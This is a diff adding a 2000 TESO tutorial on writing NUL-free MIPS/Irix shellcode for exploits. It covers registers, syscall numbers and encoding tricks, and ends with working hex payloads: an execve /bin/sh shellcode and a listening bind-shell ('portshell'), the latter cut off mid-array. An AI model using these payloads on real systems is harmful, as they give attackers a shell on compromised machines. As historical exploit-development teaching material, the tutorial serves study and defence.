| 33 | |||
| 34 | =============================================================================== | ||
diff --git a/informationals/teso-i0020.txt b/informationals/teso-i0020.txt new file mode 100644 index 0000000..e862a7e --- /dev/null +++ b/informationals/teso-i0020.txt | |||
| @@ -0,0 +1,669 @@ | |||
| 1 | 0020 2000/03/29 Writing MIPS/Irix shellcode | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Writing MIPS/Irix shellcode | ||
| 8 | Date .................: 2000/03/29 17:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: MIPS/Irix shellcode | ||
| 12 | Type of entity .......: technique | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: Last Stage of Delirium, DCRH, scut | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | Writing shellcode for the MIPS/Irix platform isn't much different then writing | ||
| 20 | shellcode for the x86 architecture. But there are a few tricks and things to | ||
| 21 | obey when attempting to make clean shellcode, which doesn't have any NUL bytes | ||
| 22 | and works completely independent from it's position. | ||
| 23 | |||
| 24 | This small paper will provide you a crash course on writing IRIX shellcode for | ||
| 25 | use in exploits. It covers the basic stuff you need to know to start away | ||
| 26 | writing basic IRIX shellcode. It is divided into the following sections: | ||
| 27 | |||
| 28 | The IRIX operating system | ||
| 29 | MIPS architecture | ||
| 30 | MIPS instructions | ||
| 31 | MIPS registers | ||
| 32 | The MIPS assembly language | ||
| 33 | High level language function representation | ||
| 34 | Syscalls and Exceptions | ||
| 35 | IRIX syscalls | ||
| 36 | Common constructs | ||
| 37 | Tuning the shellcode | ||
| 38 | Example shellcode | ||
| 39 | References | ||
| 40 | |||
| 41 | |||
| 42 | The IRIX operating system | ||
| 43 | ========================= | ||
| 44 | |||
| 45 | The Irix operating system has been developed independently by Silicon Graphics | ||
| 46 | and is UNIX System V.4 compliant. It has been designed for MIPS CPU's, which | ||
| 47 | have a unique history and have pioneered 64bit- and RISC-technology. The | ||
| 48 | current Irix version is 6.5.7. There are two major versions, called feature | ||
| 49 | (6.5.7f) and maintenance (6.5.7m) release, from which the feature release is | ||
| 50 | focused on new features and technologies and the maintenance release on bug | ||
| 51 | fixes and stability. All modern Irix platforms are binary compatible and this | ||
| 52 | shellcode discussion and the example shellcodes have been tested on over half a | ||
| 53 | dozen different Irix computer systems. | ||
| 54 | |||
| 55 | |||
| 56 | MIPS architecture | ||
| 57 | ================= | ||
| 58 | |||
| 59 | First of all you have to have some basic knowledge about the MIPS CPU | ||
| 60 | architecture. There are a lot of different types of the MIPS CPU, the most | ||
| 61 | common are the R4x00 and R10000 series, which share the same instruction set. | ||
| 62 | The MIPS CPU' are typical RISC CPU's, that means they have a reduced | ||
| 63 | instruction set with less instructions then CISC CPU's, such as x86. The main | ||
| 64 | concept of RISC CPU's is a tradeoff between simplicity and concurrency: There | ||
| 65 | are less instructions, but the existing ones can be executed fast and in | ||
| 66 | parallel. Because of this small number of instructions there is less redundancy | ||
| 67 | per instruction, some things can only be done using a single instruction, while | ||
| 68 | on CISC CPU's it is possible in many ways utilizing many different | ||
| 69 | instructions. This also results in MIPS machine code being larger, since often | ||
| 70 | multiple instructions are required to accomplish things CISC CPU's are able to | ||
| 71 | do with one instruction. | ||
| 72 | But this does not mean that multiple instructions also result in slower code. | ||
| 73 | This is a matter of overall execution speed, which is extremely high because | ||
| 74 | of the parallel execution of the instructions. | ||
| 75 | On MIPS CPU's the concurrency is very advanced, the CPU has a pipeline with | ||
| 76 | five slots, which means five instructions are processed in parallel and every | ||
| 77 | instruction has five stages, from the initial IF pipestage (instruction fetch) | ||
| 78 | to the last, the WB pipestage (write back). | ||
| 79 | |||
| 80 | Because the instructions within the pipeline overlap there are some "anomalies" | ||
| 81 | that have to be considered when writing MIPS machine code: | ||
| 82 | |||
| 83 | - there is a branch delay slot, where one instruction after the branch | ||
| 84 | (or jump) instruction is still in the pipeline and executed | ||
| 85 | - the return address for subroutines ($ra) and syscalls (C0_EPC) points | ||
| 86 | not to the instruction after the branch/jump/syscall instruction but to | ||
| 87 | the instruction after the branch delay slot instruction | ||
| 88 | - since every instruction is divided into five pipestages the MIPS design | ||
| 89 | has reflected this on the instructions itself: every instruction is | ||
| 90 | 32 bits broad (4 bytes), and can be divided most of the times into | ||
| 91 | segments which correspond with each pipestage | ||
| 92 | |||
| 93 | |||
| 94 | MIPS instructions | ||
| 95 | ================= | ||
| 96 | |||
| 97 | MIPS instructions are not just 32 bit long each, they often share a similar | ||
| 98 | mapping too. An instruction can be divided into the following sections: | ||
| 99 | |||
| 100 | + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + | ||
| 101 | 31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0 | ||
| 102 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ||
| 103 | | op | sub-op |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode | | ||
| 104 | +-----------+---------+-----------------------------+-----------+ | ||
| 105 | |||
| 106 | The "op" field denotes the 6bit long primary opcode. Some instructions, such | ||
| 107 | as long jumps (see below) have a unique code here, the rest are grouped by | ||
| 108 | function. The "sub-op" section, which is five bytes long can represent either | ||
| 109 | a specific sub opcode as extension to the primary opcode or can be a register | ||
| 110 | block. A register block is always 5 bits long and selects one of the CPU | ||
| 111 | registers for an operation. The subcode is the opcode for the arithmetic and | ||
| 112 | logical instructions, which have a primary opcode of zero. | ||
| 113 | |||
| 114 | The logical and arithmetic instructions share a RISC-unique attribute: They | ||
| 115 | don't work with two registers, such as common x86 instructions, but they use | ||
| 116 | three registers, named "destination", "target" and "source". This allows more | ||
| 117 | flexible code to be written, if you still want CISC type instructions, such | ||
| 118 | as "add %eax, %ecx", just use the same destination and target register for the | ||
| 119 | operation. | ||
| 120 | |||
| 121 | A typical MIPS instruction looks like: | ||
| 122 | |||
| 123 | or a0, a1, t4 | ||
| 124 | |||
| 125 | which is easy to represent in C as "a0 = a1 | t4". The order is almost every | ||
| 126 | time equivalent to a simple C expression. For the complete list of instructions | ||
| 127 | see either [1] or [2]. | ||
| 128 | |||
| 129 | |||
| 130 | MIPS registers | ||
| 131 | ============== | ||
| 132 | |||
| 133 | For the MIPS registers, it has plenty of 'em. Since we already know registers | ||
| 134 | are addressed using a 5 bit block, there must be 32 registers, and yes, we're | ||
| 135 | right, there are the registers $0 to $31. They are all alike except for $0 and | ||
| 136 | $31. For $0 the case is very simple: No matter what you do to the registers, | ||
| 137 | it always contains zero. This is practical for a lot of arithmetic instructions | ||
| 138 | and can results in elegant code design. The $0 register has been assigned the | ||
| 139 | symbolic name $zero, guess why :-) | ||
| 140 | For the $31 register, it's also called $ra, for "return address". Why should | ||
| 141 | a register ever contain a return address if there is such a nice thing as a | ||
| 142 | stack to store it, how should recursion be handled otherwise ? Well, the short | ||
| 143 | answer is, there is no real stack and yes it works. | ||
| 144 | For the longer answer we will discuss shortly what happens when a function is | ||
| 145 | called on a RISC CPU. When this is done a special instruction called "jal" is | ||
| 146 | used. This instruction overwrites the content of the $ra ($31) register with | ||
| 147 | the appropriate return address and then jumps to an arbitrary address. The | ||
| 148 | called function however sees the return address in $ra and once finished just | ||
| 149 | jumps back (using the "jr" instruction) to the return address. But what if the | ||
| 150 | function wants to to call functions too ? Then there is a stack like segment | ||
| 151 | it can store the return address on, later restore it and then continue to work | ||
| 152 | as usual. | ||
| 153 | Why "stack like" ? Because there is only a stack by convention, any register | ||
| 154 | may be used to behave like a stack. There are no push or pop instructions | ||
| 155 | however, the register has to be adjusted manually. The "stack" register is $29, | ||
| 156 | symbolically referenced as $sp. | ||
| 157 | Are there other register conventions ? Yes, nearly as many as registers | ||
| 158 | itself. For the sake of completeness here is a small listing: | ||
| 159 | |||
| 160 | $0 $zero always contains zero | ||
| 161 | $1 $at is used by assembler (see below), do not use | ||
| 162 | $2-$3 $v0, $v1 subroutine return values | ||
| 163 | $4-$7 $a0-$a3 subroutine arguments | ||
| 164 | $8-$15 $t0-$t7 temporary registers, may be overwritten by subroutine | ||
| 165 | $16-$23 $s0-$s7 subroutine registers, have to be saved by called function | ||
| 166 | before they may be used | ||
| 167 | $24,$25 $t8, $t9 temporary registers | ||
| 168 | $26,$27 $k0, $k1 interrupt/trap handler reserved registers, do not use | ||
| 169 | $28 $gp global pointer, used to access static and extern variables | ||
| 170 | $29 $sp stack pointer | ||
| 171 | $30 $s8/$fp subroutine register, commonly used as a frame pointer | ||
| 172 | $31 $ra return address | ||
| 173 | |||
| 174 | |||
| 175 | The MIPS assembly language | ||
| 176 | ========================== | ||
| 177 | |||
| 178 | Because the instructions are relatively primitive but programmers often want to | ||
| 179 | accomplish more complex things, the MIPS assembly language works with a lot of | ||
| 180 | macro instructions. They provide sometimes really necessary operations such as | ||
| 181 | subtracting a number from a register (which is converted to a signed add by the | ||
| 182 | assembler) to complex macros, such as finding the remainder for a division. | ||
| 183 | But the assembler does a lot more then providing macros for common operations. | ||
| 184 | We already mentioned the pipeline where instructions are processed in parallel. | ||
| 185 | The execution often directly depends on the order within the pipeline, because | ||
| 186 | the registers accessed with the instructions are written back in the last | ||
| 187 | pipestage, the WB (write-back) stage and cannot be accessed before by other | ||
| 188 | instructions. For old MIPS CPU's the MIPS abbreviation is true when saying | ||
| 189 | "Microcomputer without Interlocked Pipeline Stages", you just cannot access the | ||
| 190 | register in the instruction directly following the one that modifies this | ||
| 191 | register. Nearly all MIPS CPU's currently in use do have a interlock though, | ||
| 192 | they just wait until the data from the instruction is written back to the | ||
| 193 | register before allowing the following instruction to read it. | ||
| 194 | In practice you only have to worry when writing very low level assemble code, | ||
| 195 | such as shellcode :-), because most of the times the assembler will reorder and | ||
| 196 | replace your instructions so that they exploit the pipelined architecture at | ||
| 197 | best. You can turnoff the reordering and macros in any MIPS assembler if you | ||
| 198 | want to. | ||
| 199 | |||
| 200 | The MIPS CPU's and RISC CPU's altogether weren't designed for easy assembly | ||
| 201 | language programming. It is more difficult to program a RISC CPU in assembly | ||
| 202 | then any CISC CPU. Even the first sentences of the MIPS Pro Assembler Manual | ||
| 203 | from the MIPS corporation recommend to use MIPS assembly language only for | ||
| 204 | hardware near routines or operating system programming. In most cases a good | ||
| 205 | C compiler, such as the one SGI developed will optimize the pipeline and | ||
| 206 | register usage way better then any programmer might do this in assembly. | ||
| 207 | However, when writing shellcodes we have to face the bare machine code and | ||
| 208 | have to write size optimized code which doesn't contain any NUL bytes. A | ||
| 209 | compiler might use large code to unroll loops or to use faster constructs. | ||
| 210 | |||
| 211 | |||
| 212 | High level language function representation | ||
| 213 | =========================================== | ||
| 214 | |||
| 215 | A normal C function can be represented very easily in MIPS assembly most of | ||
| 216 | the times. You have to differentiate between leaf and non-leaf functions. A | ||
| 217 | non-leaf function is a function that does not call any other functions. Such | ||
| 218 | functions do not need to store the return address on the stack, but keep it in | ||
| 219 | $ra for the whole time. The arguments to a function are stored by the calling | ||
| 220 | function in $a0, $a1, $a2 and $a3. If this space isn't enough extra stack space | ||
| 221 | is used, but in most cases the registers suffice. The function may return two | ||
| 222 | 32bit values through the $v0 and $v1 registers. For temporary space the called | ||
| 223 | function may use the stack referenced by $sp. Also registers are commonly saved | ||
| 224 | on the stack and later restored from it. The stack usually starts at 0x80000000 | ||
| 225 | and grows towards small addresses. It is very similar to the stack of a x86 | ||
| 226 | system. | ||
| 227 | |||
| 228 | |||
| 229 | Syscalls and Exceptions | ||
| 230 | ======================= | ||
| 231 | |||
| 232 | On a typical Unix system there are only two modes the current execution can | ||
| 233 | happen in: The user and the kernel mode. In most modern architectures this | ||
| 234 | modes are directly supported by the CPU. The MIPS CPU has this two modes plus | ||
| 235 | an extra mode called "supervisor mode". It was requested by engineers at DEC | ||
| 236 | for their new range of Workstations when the MIPS R4000 CPU was designed. Since | ||
| 237 | the VMS/DEC market was important to MIPS they implemented this third mode at | ||
| 238 | DEC's request to allow the VMS operating system to be run on the CPU. However, | ||
| 239 | DEC decided later to develop their own CPU, the Alpha CPU and the mode | ||
| 240 | remained unused. | ||
| 241 | |||
| 242 | Back to the execution modes, on current operating systems designed for the | ||
| 243 | MIPS CPU only the kernel and user mode is being used. To switch from the user | ||
| 244 | mode to the kernel mode there is a mechanism called "exceptions". Whenever | ||
| 245 | a user space process wants to let the kernel to do something or whenever the | ||
| 246 | current execution can't be successfully continued the control is passed to the | ||
| 247 | kernel space exception handler. | ||
| 248 | |||
| 249 | For shellcode construction we have to know that we can make the kernel | ||
| 250 | execute important operating system related stuff like I/O operations through | ||
| 251 | the syscall exception, which is triggered through the "syscall" instruction. | ||
| 252 | The syscall instruction looks like: | ||
| 253 | |||
| 254 | syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100 | ||
| 255 | |||
| 256 | Where the x's represent the syscall code, which is ignored on the Irix system. | ||
| 257 | To avoid NUL bytes you can set those x-bits to arbitrary data. | ||
| 258 | |||
| 259 | |||
| 260 | IRIX syscalls | ||
| 261 | ============= | ||
| 262 | |||
| 263 | The following list covers the most important syscalls for use in shellcodes. | ||
| 264 | After all registers have been appropiatly set the "syscall" instruction is | ||
| 265 | executed and the execution flow is passed to the kernel. | ||
| 266 | |||
| 267 | == accept | ||
| 268 | int accept (int s, struct sockaddr *addr, socklen_t *addrlen); | ||
| 269 | |||
| 270 | a0 = (int) s | ||
| 271 | a1 = (struct sockaddr *) addr | ||
| 272 | a2 = (socklen_t *) addrlen | ||
| 273 | v0 = SYS_accept = 1089 = 0x0441 | ||
| 274 | |||
| 275 | return values | ||
| 276 | |||
| 277 | a3 = 0 success, a3 != 0 on failure | ||
| 278 | v0 = new socket | ||
| 279 | |||
| 280 | == bind | ||
| 281 | int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen); | ||
| 282 | |||
| 283 | a0 = (int) sockfd | ||
| 284 | a1 = (struct sockaddr *) my_addr | ||
| 285 | a2 = (socklen_t) addrlen | ||
| 286 | v0 = SYS_bind = 1090 = 0x0442 | ||
| 287 | |||
| 288 | For the IN protocol family (TCP/IP) the sockaddr pointer points to a | ||
| 289 | sockaddr_in struct which is 16 bytes long and typically looks like: | ||
| 290 | "\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", | ||
| 291 | where aa is ((port >> 8) & 0xff) and bb is (port & 0xff). | ||
| 292 | |||
| 293 | return values | ||
| 294 | |||
| 295 | a3 = 0 success, a3 != 0 on failure | ||
| 296 | v0 = 0 success, v0 != 0 on failure | ||
| 297 | |||
| 298 | == close | ||
| 299 | int close (int fd); | ||
| 300 | |||
| 301 | a0 = (int) fd | ||
| 302 | v0 = SYS_close = 1006 = 0x03ee | ||
| 303 | |||
| 304 | return values | ||
| 305 | |||
| 306 | a3 = 0 success, a3 != 0 on failure | ||
| 307 | v0 = 0 success, v0 != 0 on failure | ||
| 308 | |||
| 309 | == execve | ||
| 310 | int execve (const char *filename, char *const argv [], char *const envp[]); | ||
| 311 | |||
| 312 | a0 = (const char *) filename | ||
| 313 | a1 = (chat * const) argv[] | ||
| 314 | a2 = (char * const) envp[] | ||
| 315 | v0 = SYS_execve = 1059 = 0x0423 | ||
| 316 | |||
| 317 | return values | ||
| 318 | |||
| 319 | shouldn't return but replace current process with program, it only returns | ||
| 320 | in case of errors | ||
| 321 | |||
| 322 | == fcntl | ||
| 323 | int fcntl (int fd, int cmd); | ||
| 324 | int fcntl (int fd, int cmd, long arg); | ||
| 325 | |||
| 326 | a0 = (int) fd | ||
| 327 | a1 = (int) cmd | ||
| 328 | a2 = (long) arg in case the command requires an argument | ||
| 329 | v0 = SYS_fcntl = 1062 = 0x0426 | ||
| 330 | |||
| 331 | return values | ||
| 332 | |||
| 333 | a3 = 0 on success, a3 != 0 on failure | ||
| 334 | v0 is the real return value and depends on the operation, see fcntl(2) for | ||
| 335 | further information | ||
| 336 | |||
| 337 | == listen | ||
| 338 | int listen (int s, int backlog); | ||
| 339 | |||
| 340 | a0 = (int) s | ||
| 341 | a1 = (int) backlog | ||
| 342 | v0 = SYS_listen = 1096 = 0x0448 | ||
| 343 | |||
| 344 | return values | ||
| 345 | |||
| 346 | a3 = 0 on success, a3 != 0 on failure | ||
| 347 | |||
| 348 | == read | ||
| 349 | ssize_t read (int fd, void *buf, size_t count); | ||
| 350 | |||
| 351 | a0 = (int) fd | ||
| 352 | a1 = (void *) buf | ||
| 353 | a2 = (size_t) count | ||
| 354 | v0 = SYS_read = 1003 = 0x03eb | ||
| 355 | |||
| 356 | return values | ||
| 357 | |||
| 358 | a3 = 0 on success, a3 != 0 on failure | ||
| 359 | v0 = number of bytes read | ||
| 360 | |||
| 361 | == socket | ||
| 362 | int socket (int domain, int type, int protocol); | ||
| 363 | |||
| 364 | a0 = (int) domain | ||
| 365 | a1 = (int) type | ||
| 366 | a2 = (int) protocol | ||
| 367 | v0 = SYS_socket = 1107 = 0x0453 | ||
| 368 | |||
| 369 | return values | ||
| 370 | |||
| 371 | a3 = 0 on success, a3 != 0 on failure | ||
| 372 | v0 = new socket | ||
| 373 | |||
| 374 | The dup2 functionality isn't implemented as system call but as libc wrapper for | ||
| 375 | close and fcntl. Basically the dup2 function looks like (simplified): | ||
| 376 | |||
| 377 | int dup2 (int des1, int des2) { | ||
| 378 | int tmp_errno, | ||
| 379 | maxopen; | ||
| 380 | |||
| 381 | maxopen = (int) ulimit (4, 0); | ||
| 382 | if (maxopen < 0) | ||
| 383 | maxopen = OPEN_MAX; | ||
| 384 | |||
| 385 | if (fcntl (des1, F_GETFL, 0) == -1) | ||
| 386 | _setoserror (EBADF); | ||
| 387 | |||
| 388 | return -1; | ||
| 389 | } | ||
| 390 | |||
| 391 | if (des2 >= maxopen || des2 < 0) { | ||
| 392 | _setoserror (EBADF); | ||
| 393 | |||
| 394 | return -1; | ||
| 395 | } | ||
| 396 | |||
| 397 | if (des1 == des2) | ||
| 398 | return des2; | ||
| 399 | |||
| 400 | tmp_errno = _oserror(); | ||
| 401 | close (des2); | ||
| 402 | _setoserror (tmp_errno); | ||
| 403 | |||
| 404 | return (fcntl (des1, F_DUPFD, des2)); | ||
| 405 | } | ||
| 406 | |||
| 407 | So without the validation dup2 (des1, des2) can be rewritten as: | ||
| 408 | close (des2); | ||
| 409 | fcntl (des1, F_DUPFD, des2); | ||
| 410 | |||
| 411 | Which has been done in the portshell shellcode below. | ||
| 412 | |||
| 413 | |||
| 414 | Common constructs | ||
| 415 | ================= | ||
| 416 | |||
| 417 | When writing shellcode there are always common operations, like getting the | ||
| 418 | current address. Here are a few techniques that you can use in your shellcodes: | ||
| 419 | |||
| 420 | == Getting the current address | ||
| 421 | |||
| 422 | li t8, -0x7350 /* load t8 with -0x7350 (leet) */ | ||
| 423 | foo: bltzal t8, foo /* branch with $ra stored if t8 < 0 */ | ||
| 424 | slti t8, zero, -1 /* t8 = 0 (see below) */ | ||
| 425 | bar: | ||
| 426 | |||
| 427 | Because the slti instruction is in the branch delay slot when the bltzal is | ||
| 428 | executed the next time the bltzal won't branch and t8 will remain zero. $ra | ||
| 429 | holds the address of the bar label when the label is reached. | ||
| 430 | |||
| 431 | == Loading small integer values | ||
| 432 | |||
| 433 | Because every instruction is 32 bits long you cannot immediately load a 32 bit | ||
| 434 | value into a register but you have to use two instructions. Most of the times, | ||
| 435 | however, you just want to load small values, below 256. Values below 2^16 are | ||
| 436 | stored as 16 bit value within the instruction and values below 256 will result | ||
| 437 | in ugly NUL bytes, that should be avoided in proper shellcodes. Therefore we | ||
| 438 | use a trick to load such small values: | ||
| 439 | |||
| 440 | loading zero into reg: | ||
| 441 | slti reg, zero, -1 | ||
| 442 | |||
| 443 | loading one into reg: | ||
| 444 | slti reg, zero, 0x0101 | ||
| 445 | |||
| 446 | loading small integer values into reg: | ||
| 447 | li t8, -valmod /* valmod = value + 1 */ | ||
| 448 | not reg, t8 | ||
| 449 | |||
| 450 | For example if we want to load 4 into reg we would use: | ||
| 451 | li t8, -5 | ||
| 452 | not reg, t8 | ||
| 453 | |||
| 454 | In case you need small values more then one time you can also store them into | ||
| 455 | saved registers ($s0 - $s7, optionally $s8). | ||
| 456 | |||
| 457 | == Moving registers | ||
| 458 | |||
| 459 | In normal MIPS assembly you'd use the simple move instruction, which results in | ||
| 460 | an "or" instruction, but in shellcode you have to avoid NUL bytes, and you can | ||
| 461 | use this construction, if you know that the value in the register is below | ||
| 462 | 0xffff: | ||
| 463 | andi reg, source, 0xffff | ||
| 464 | |||
| 465 | |||
| 466 | Tuning the shellcode | ||
| 467 | ==================== | ||
| 468 | |||
| 469 | I recommend that you write your shellcodes in normal MIPS assembly and | ||
| 470 | afterwards start removing the NUL bytes from top to bottom. For simple load | ||
| 471 | instructions you can use the constructs above. For essential instructions try | ||
| 472 | to play with the different registers, in some cases NUL bytes may be removed | ||
| 473 | from arithmetic and logic instructions by using higher registers, such as $t8 | ||
| 474 | or $s7. Next try replacing the single instruction with two or three | ||
| 475 | accomplishing the same. Make use of the return values of syscalls or known | ||
| 476 | register contents. Be creative, use a MIPS instruction reference from [1] or | ||
| 477 | [2] and your brain and you'll always find a good replacement. | ||
| 478 | |||
| 479 | Once you made your shellcode NUL free you'll notice the size has increased and | ||
| 480 | your shellcode is quite bloated. Don't worry, this is normal, there is almost | ||
| 481 | nothing you can do about it, RISC code is nearly always larger then the same | ||
| 482 | code on x86. But you can do some small optimizations to decrease the size. At | ||
| 483 | first try to find replacements for instruction blocks, where more then one | ||
| 484 | instruction is used to do one thing. Always take a look at the current register | ||
| 485 | content and make use of return values or previously loaded values. Sometimes | ||
| 486 | reordering saves you from doing jumps. | ||
| 487 | |||
| 488 | |||
| 489 | Example shellcode | ||
| 490 | ================= | ||
| 491 | |||
| 492 | All the shellcodes have been tested on the following systems, (thanks to vax, | ||
| 493 | oxigen, zap and hendy): | ||
| 494 | |||
| 495 | R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and R10000/6.4. | ||
| 496 | |||
| 497 | == execve | ||
| 498 | |||
| 499 | /* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso | ||
| 500 | */ | ||
| 501 | unsigned long int shellcode[] = { | ||
| 502 | 0xafa0fffc, /* sw $zero, -4($sp) */ | ||
| 503 | 0x24067350, /* li $a2, 0x7350 */ | ||
| 504 | /* dpatch: */ 0x04d0ffff, /* bltzal $a2, dpatch */ | ||
| 505 | 0x8fa6fffc, /* lw $a2, -4($sp) */ | ||
| 506 | /* a2 = (char **) envp = NULL */ | ||
| 507 | |||
| 508 | 0x240fffcb, /* li $t7, -53 */ | ||
| 509 | 0x01e07827, /* nor $t7, $t7, $zero */ | ||
| 510 | 0x03eff821, /* addu $ra, $ra, $t7 */ | ||
| 511 | |||
| 512 | /* a0 = (char *) pathname */ | ||
| 513 | 0x23e4fff8, /* addi $a0, $ra, -8 */ | ||
| 514 | |||
| 515 | /* fix 0x42 dummy byte in pathname to shell */ | ||
| 516 | 0x8fedfffc, /* lw $t5, -4($ra) */ | ||
| 517 | 0x25adffbe, /* addiu $t5, $t5, -66 */ | ||
| 518 | 0xafedfffc, /* sw $t5, -4($ra) */ | ||
| 519 | |||
| 520 | /* a1 = (char **) argv */ | ||
| 521 | 0xafa4fff8, /* sw $a0, -8($sp) */ | ||
| 522 | 0x27a5fff8, /* addiu $a1, $sp, -8 */ | ||
| 523 | |||
| 524 | 0x24020423, /* li $v0, 1059 (SYS_execve) */ | ||
| 525 | 0x0101010c, /* syscall */ | ||
| 526 | 0x2f62696e, /* .ascii "/bin" */ | ||
| 527 | 0x2f736842, /* .ascii "/sh", .byte 0xdummy */ | ||
| 528 | }; | ||
| 529 | |||
| 530 | == portshell (listening) | ||
| 531 | |||
| 532 | /* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso | ||
| 533 | */ | ||
| 534 | unsigned long int shellcode[] = { | ||
| 535 | 0x2416fffd, /* li $s6, -3 */ | ||
| 536 | 0x02c07027, /* nor $t6, $s6, $zero */ | ||
| 537 | 0x01ce2025, /* or $a0, $t6, $t6 */ | ||
| 538 | 0x01ce2825, /* or $a1, $t6, $t6 */ | ||
| 539 | 0x240efff9, /* li $t6, -7 */ | ||
| 540 | 0x01c03027, /* nor $a2, $t6, $zero */ | ||
| 541 | 0x24020453, /* li $v0, 1107 (socket) */ | ||
| 542 | 0x0101010c, /* syscall */ | ||
| 543 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 544 | |||
| 545 | 0x3050ffff, /* andi $s0, $v0, 0xffff */ | ||
| 546 | 0x280d0101, /* slti $t5, $zero, 0x0101 */ | ||
| 547 | 0x240effee, /* li $t6, -18 */ | ||
| 548 | 0x01c07027, /* nor $t6, $t6, $zero */ | ||
| 549 | 0x01cd6804, /* sllv $t5, $t5, $t6 */ | ||
| 550 | 0x240e7350, /* li $t6, 0x7350 (port) */ | ||
| 551 | 0x01ae6825, /* or $t5, $t5, $t6 */ | ||
| 552 | 0xafadfff0, /* sw $t5, -16($sp) */ | ||
| 553 | 0xafa0fff4, /* sw $zero, -12($sp) */ | ||
| 554 | 0xafa0fff8, /* sw $zero, -8($sp) */ | ||
| 555 | 0xafa0fffc, /* sw $zero, -4($sp) */ | ||
| 556 | 0x02102025, /* or $a0, $s0, $s0 */ | ||
| 557 | 0x240effef, /* li $t6, -17 */ | ||
| 558 | 0x01c03027, /* nor $a2, $t6, $zero */ | ||
| 559 | 0x03a62823, /* subu $a1, $sp, $a2 */ | ||
| 560 | 0x24020442, /* li $v0, 1090 (bind) */ | ||
| 561 | 0x0101010c, /* syscall */ | ||
| 562 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 563 | |||
| 564 | 0x02102025, /* or $a0, $s0, $s0 */ | ||
| 565 | 0x24050101, /* li $a1, 0x0101 */ | ||
| 566 | 0x24020448, /* li $v0, 1096 (listen) */ | ||
| 567 | 0x0101010c, /* syscall */ | ||
| 568 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 569 | |||
| 570 | 0x02102025, /* or $a0, $s0, $s0 */ | ||
| 571 | 0x27a5fff0, /* addiu $a1, $sp, -16 */ | ||
| 572 | 0x240dffef, /* li $t5, -17 */ | ||
| 573 | 0x01a06827, /* nor $t5, $t5, $zero */ | ||
| 574 | 0xafadffec, /* sw $t5, -20($sp) */ | ||
| 575 | 0x27a6ffec, /* addiu $a2, $sp, -20 */ | ||
| 576 | 0x24020441, /* li $v0, 1089 (accept) */ | ||
| 577 | 0x0101010c, /* syscall */ | ||
| 578 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 579 | 0x3057ffff, /* andi $s7, $v0, 0xffff */ | ||
| 580 | |||
| 581 | 0x2804ffff, /* slti $a0, $zero, -1 */ | ||
| 582 | 0x240203ee, /* li $v0, 1006 (close) */ | ||
| 583 | 0x0101010c, /* syscall */ | ||
| 584 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 585 | |||
| 586 | 0x02f72025, /* or $a0, $s7, $s7 */ | ||
| 587 | 0x2805ffff, /* slti $a1, $zero, -1 */ | ||
| 588 | 0x2806ffff, /* slti $a2, $zero, -1 */ | ||
| 589 | 0x24020426, /* li $v0, 1062 (fcntl) */ | ||
| 590 | 0x0101010c, /* syscall */ | ||
| 591 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 592 | |||
| 593 | 0x28040101, /* slti $a0, $zero, 0x0101 */ | ||
| 594 | 0x240203ee, /* li $v0, 1006 (close) */ | ||
| 595 | 0x0101010c, /* syscall */ | ||
| 596 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 597 | |||
| 598 | 0x02f72025, /* or $a0, $s7, $s7 */ | ||
| 599 | 0x2805ffff, /* slti $a1, $zero, -1 */ | ||
| 600 | 0x28060101, /* slti $a2, $zero, 0x0101 */ | ||
| 601 | 0x24020426, /* li $v0, 1062 (fcntl) */ | ||
| 602 | 0x0101010c, /* syscall */ | ||
| 603 | 0x240f7350, /* li $t7, 0x7350 */ | ||
| 604 | |||
| 605 | 0x02c02027, /* nor $a0, $s6, $zero */ | ||
| 606 | 0x240203ee, /* li $v0, 1006 (close) */ | ||
| 607 | 0x0101010c, /* syscall */ | ||
| 608 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 609 | |||
| 610 | 0x02f72025, /* or $a0, $s7, $s7 */ | ||
| 611 | 0x2805ffff, /* slti $a1, $zero, -1 */ | ||
| 612 | 0x02c03027, /* nor $a2, $s6, $zero */ | ||
| 613 | 0x24020426, /* li $v0, 1062 (fcntl) */ | ||
| 614 | 0x0101010c, /* syscall */ | ||
| 615 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 616 | |||
| 617 | 0xafa0fffc, /* sw $zero, -4($sp) */ | ||
| 618 | 0x24068cb0, /* li $a2, -29520 */ | ||
| 619 | 0x04d0ffff, /* bltzal $a2, pc-4 */ | ||
| 620 | 0x8fa6fffc, /* lw $a2, -4($sp) */ | ||
| 621 | 0x240fffc7, /* li $t7, -57 */ | ||
| 622 | 0x01e07827, /* nor $t7, $t7, $zero */ | ||
| 623 | 0x03eff821, /* addu $ra, $ra, $t7 */ | ||
| 624 | 0x23e4fff8, /* addi $a0, $ra, -8 */ | ||
| 625 | 0x8fedfffc, /* lw $t5, -4($ra) */ | ||
| 626 | 0x25adffbe, /* addiu $t5, $t5, -66 */ | ||
| 627 | 0xafedfffc, /* sw $t5, -4($ra) */ | ||
| 628 | 0xafa4fff8, /* sw $a0, -8($sp) */ | ||
